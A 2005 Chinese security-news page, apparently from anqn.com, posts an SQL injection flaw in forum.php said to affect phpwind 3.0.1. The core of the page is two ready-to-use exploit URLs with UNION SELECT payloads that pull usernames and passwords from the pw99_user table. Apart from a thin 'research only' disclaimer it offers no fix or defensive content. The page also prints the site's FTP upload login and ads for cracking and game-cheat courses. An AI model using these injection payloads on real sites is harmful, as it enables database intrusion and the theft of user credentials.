安全中国首页 > 新闻中心 > 网站程序漏洞
　

输出确认错误：forum.php注入漏洞

更新时间:2005-12-17 0:58:00
责任编辑:池天
热 点：
类: 输出确认错误
CVE: CVE-MAP-NOMATCH 
forum.php注入漏洞 

forum.php很多php网站都有这个页面。包括现在流行的phpwind3.0.1,破坏性很大。
希望合理利用，本站仅供技术研究，一切漏洞带来的责任无本站无关。
by rose 
利用方式如下：
--------------------
//-------1---------//
http://WWW.xxxx.COM/xxxx/forum.php?modul=topics&channel=[SQL]
http://WWW.xxxx.COM/xxxx/forum.php?modul=topics&channel=-99%20UNION%20SELECT%20null,password%20FROM%20pw99_user%20WHERE%20id=1
//-------2--------//
http://WWW.xxxxx.COM/xxxx/forum.php?modul=posting&topic=[SQL]&channel=3
http://oWWW.xxxx.COM/xxxx/forum.php?modul=posting&topic=30%20UNION%20SELECT%20null,username,null,password%20FROM%20pw99_user%20WHERE%20id=1/*&channel=3

　
安全中国网友投稿专用上传FTP空间：
Ftp服务器：www.anqn.com
Ftp端口：21
用户名：anqn
密 码：anqn.com
　
学习软件编程开发技术，推荐加入以下软件编程培训班：
易语言软件编程培训班（简单易学）　　Delphi软件编程培训班　　VC++软件编程培训班
VB软件编程培训班　　JAVA高端编程就业研发班

学习网站开发制作技术，推荐加入以下网站开发培训班：
ASP.net网站开发项目实战班　　ASP语言网站建设培训班

学习网络安全入侵防护技术，推荐加入以下技术培训班：
大型网络安全入侵防护班　　网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术（网管），推荐加入以下培训班：
大型网吧技术管理人才特训班　　Linux网络嵌入架构工程师培训班

学习专项特殊技术，推荐加入以下专项技术培训班：
软件与游戏外挂脱壳破解班（逆向工程）　　赚钱王道-网赚技能培训班　　Flash动画设计师就业特训班